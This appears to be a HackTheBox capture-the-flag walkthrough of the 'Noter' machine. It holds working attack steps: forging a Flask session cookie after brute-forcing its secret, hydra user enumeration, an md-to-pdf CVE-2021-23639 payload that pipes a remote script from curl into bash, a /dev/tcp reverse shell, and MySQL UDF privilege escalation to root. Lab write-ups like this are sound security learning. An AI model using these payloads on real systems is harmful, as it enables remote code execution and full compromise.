Post

HackTheBox - Noter

Machine logo

Configuration

If you’re using your own machine like me, you have to access HTB network via OpenVPN:

1
$ sudo openvpn lab_access_file.ovpn

It is very useful to append /etc/hosts/ with ip address of the machine. It is useful to get subdomains and to not memorize the address every time.

1
2
$ echo '10.10.11.160    noter' | sudo tee -a /etc/hosts      
10.10.11.160 noter

Reconnaissance

Port scan

We’re always starting with port scanning. At first we use masscan to find open ports quickly, then we use nmap to enumerate versions, services and scripts.

1
2
3
4
5
6
7
8
$ sudo masscan -e tun0 -p1-65535,U:1-65535 10.10.11.160 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-07-26 00:24:31 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 39391/tcp on 10.10.11.160                                 
Discovered open port 5000/tcp on 10.10.11.160                                  
Discovered open port 22/tcp on 10.10.11.160                                    
Discovered open port 21/tcp on 10.10.11.160
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -p 21,22,5000,39391 -sCV noter
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 00:36 UTC
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 00:38 (0:00:38 remaining)
Nmap scan report for noter (10.10.11.160)
Host is up (0.45s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp  open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
39391/tcp open  unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

We have 4 ports here, there are ftp, ssh, web servers and some unknown service. FTP is without anonymous access, Python is used on web application.

Web application

We know that there is a web server on port 5000. Let’s add noter.htb to our /etc/hosts:

10.10.11.160 noter noter.htb

Then, we open the website in our browser.

Web application

We also check for technologies used in application by whatweb command or Wappalyzer browser extension:

1
2
$ whatweb noter.htb:5000
http://noter.htb:5000 [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.160], Python[3.8.10], Script[text/javascript], Title[Noter], Werkzeug[2.0.2]

We have register and login pages, after registration we’ll see an empty dashboard. Also we have an access to /notes page which tells us that we don’t have notes.

After registration

We create a note, there is probably a Cross-site scripting (XSS) vulnerability. But I don’t think it is useful for us. Then, we can check what we can do with it in dashboard. We can edit and delete the note. I think there is nothing interesting for us.

user.txt

Enumeration

If we look closer at the login page, we can find that when we passing wrong login in, the page returns invalid credentials. Also, when we passing correct login there is a invalid login. We can enumerate users by this vulnerability.

Invalid credentials

Invalid login

When we log in, we get a session cookie and we know that there is werkzeug, which uses Flask for cookies. We can decode that cookie to see what does it provide. I used this site here.

Session cookie

We can try to change the username in cookies. To do that we have to know that Flask also signs cookies with secret. We can brute-force it with flask-unsign tool. You can install it with pip.

1
2
3
4
5
$ flask-unsign --wordlist ~/tools/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yt9Qfw.S3EXih7rCwp2detNid8qx8JO3Xk' --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17536 attempts
b'secret123'

We got the secret key! Now we can create a new cookie to access other users.

1
2
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidXNlciJ9.Yt9UHg.786sxVinwhrAexXrV0tdz4-W1ro

Now we change the cookie in our browser. To do that you have to open storage and modify the session cookie.

Logged in as admin

Unfortunately, admin has not any interesting notes, so we have to enumerate users. There is no any information about the other user exists, so we have to brute-force it with hydra:

1
2
3
4
5
6
7
8
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p asdasd noter.htb -s 5000 http-post-form '/login:username=^USER^&password=^PASS^:F=credentials' 
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-26 02:57:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task
[DATA] attacking http-post-form://noter.htb:5000/login:username=^USER^&password=^PASS^:F=credentials
[5000][http-post-form] host: noter.htb   login: admin   password: asdasd
[5000][http-post-form] host: noter.htb   login: blue   password: asdasd

The other user is blue, we create a new cookie and access the account.

Exploitation

FTP server

blue account

Blue is a VIP user. There are Import/Export functions only on VIP dashboards. We can see several notes at /notes page, we can find ftp credentials in one of them.

ftp credentials

We connect via FTP to explore. We can find a password policy and files directory there.

In password policy we can find this note:

  1. Default user-password generated by the application is in the format of “username@site_name!” (This applies to all your applications)

We try to login with ftp_admin user. It is successful, we download all files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ftp ftp_admin@noter
Connected to noter.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||55179|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        1003         4096 May 02 23:05 .
drwxr-xr-x    2 0        1003         4096 May 02 23:05 ..
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> mget *

Application source code

We unzip the backups and start exploring the application. We find mysql credentials there.

MySQL credentials

Let’s get back on a site.

We can find an export button on /dashboard.

Export function

We’re not interested in existing notes, but we can export from external server, let’s check what does it do:

1
2
$ echo 'abrakadabra' > file.txt
$ python3 -m http.server 80

And we get error of invalid file type, after some test, I found that markdown (.md, .markdown) files are accepted.

In source code of app_backup_1638395546.zip we can see that md-to-pdf.js version is 4.1.0 and after some google we can find that it is vulnerable to CVE-2021-23639.

md-to-pdf version

Exploit

We know that .md files are accepted by the application. Let’s prepare our payload to exploit that.

test.md:

1
---js\n((require("child_process")).execSync("curl http://<IP>:<PORT>/reverse.sh | bash"))\n---RCE

reverse.sh:

1
2
3
#!/bin/bash

/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Also, on our attacking machine we set up a listener:

1
nc -lnvp <PORT>

When we’re ready, we use Export directly from cloud feature with the link to our web server with test.md file. After a few seconds, we will get a reverse shell!

1
2
3
4
5
6
7
8
9
$ listener
[*] Starting listener on port 7101
[*] https://www.revshells.com/
listening on [any] 7101 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.160] 51202
bash: cannot set terminal process group (1263): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ cd ~
svc@noter:~$ cat user.txt

root.txt

Stabilize shell

Before we start exploring we have to stabilize our shell. We can do that by searching for ssh keys. But if we check there is no ssh keys presents for svc user, so we have to stabilize our reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@noter:~/app/web$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
svc@noter:~/app/web$ export TERM=xterm-256color
export TERM=xterm-256color 
svc@noter:~/app/web$ alias ll='ls -lsaht --color=auto'                                                                        
alias ll='ls -lsaht --color=auto'                                                                                             
svc@noter:~/app/web$ ^Z                                                                                                       
zsh: suspended  /home/kali/tools/aliases/listener.sh                                                        
 
┌──(kali㉿workstation)-[~]
└─$ stty raw -echo ; fg ; reset                     148 ⨯ 1 ⚙
[1]  + continued  /home/kali/tools/aliases/listener.sh

svc@noter:~$

Exploring

By performing basic enumeration we can note that we can not see other user processes. I’ve checked it with ps command and pspy64.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
svc@noter:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
svc         1252  0.0  1.2 616836 48928 ?        Ssl  04:40   0:01 PM2 v5.2.0: G
svc         1263  0.0  1.1 280544 45572 ?        Ssl  04:40   0:04 /usr/bin/pyth
svc        20607  0.0  1.4 601060 58300 ?        Sl   07:01   0:00 node misc/md-
svc        20614  0.0  0.0   2608   548 ?        S    07:01   0:00 /bin/sh -c cu
svc        20616  0.0  0.0   6892  3280 ?        S    07:01   0:00 bash
svc        20617  0.0  0.1   8208  5040 ?        S    07:01   0:00 /bin/bash -i
svc        24129  0.0  1.4 601860 58320 ?        Sl   07:27   0:01 node misc/md-
svc        24136  0.0  0.0   2608   608 ?        S    07:27   0:00 /bin/sh -c cu
svc        24138  0.0  0.0   6892  3280 ?        S    07:27   0:00 bash
svc        24157  0.0  0.1   8208  5004 ?        S    07:27   0:00 /bin/bash -i
svc        24239  0.0  0.1  13412  7736 ?        R    07:28   0:00 python -c imp
svc        24240  0.0  0.1   8328  5208 pts/0    Ss   07:28   0:00 /bin/bash
svc        28764  0.0  0.0   8892  3356 pts/0    R+   08:02   0:00 ps aux

It is strange. Also, we’ve noted that mysql is working. After some time I’ve runned LinPEAS to get anything. And there is a misconfiguration in mysql server:

mysql misconfiguration

MySQL server is runned by root, it is a classic misconfiguration on servers. We can perform Privilege Escalation via library. Let’s do it!

Privilege escalation

In that attack, if the mysql server is running as root (or a different more privileged user) we can make it execute commands. We have to create an exploit for linux and compile it. On victim machine we create our own directory and checking if gcc is available:

1
2
3
svc@noter:~$ mkdir /tmp/flame && cd /tmp/flame
svc@noter:/tmp/flame$ which gcc
/usr/bin/gcc

Then, we copy the exploit’s source code and compile it:

1
2
3
wget http://10.10.16.4:8292/raptor_udf2.c
svc@noter:/tmp/flame$ gcc -g -c raptor_udf2.c
svc@noter:/tmp/flame$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Now we have the library, we login inside the Mysql as a privileged user (root) and follow the next steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
svc@noter:/tmp/flame$ mysql -u root -p
Enter password:

# Use a database
MariaDB [(none)]> use mysql;

Database changed

# Create a table to load the library and move it to the plugins dir
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.005 sec)

# Load the binary library inside the table
MariaDB [mysql]> insert into npn values(load_file('/tmp/flame/raptor_udf2.so')); 
Query OK, 1 row affected (0.002 sec)

# Get the plugin_dir path
MariaDB [mysql]> show variables like '%plugin%';

# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ dump in there the library
MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';

# Create a function to execute commands
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+

# Execute commands
MariaDB [mysql]> select do_system("cat /root/root.txt > /tmp/flame/root.txt ; chmod 777 /tmp/flame/root.txt");
MariaDB [mysql]> exit
Bye
svc@noter:/tmp/flame$ cat root.txt

It worked!

Conclusion

It was a fun box for me. I’ve stucked when I’ve got a password policy, checked the user admin for it and haven’t checked ftp_admin for it. That was so close 😂. A privilege escalation was kinda easy to exploit, but really hard to find without any hints or LinPEAS, but probably I’ve just got tired at that moment…

Thank you for reading, I hope it was useful for you ❤️

This post is licensed under CC BY 4.0 by the author.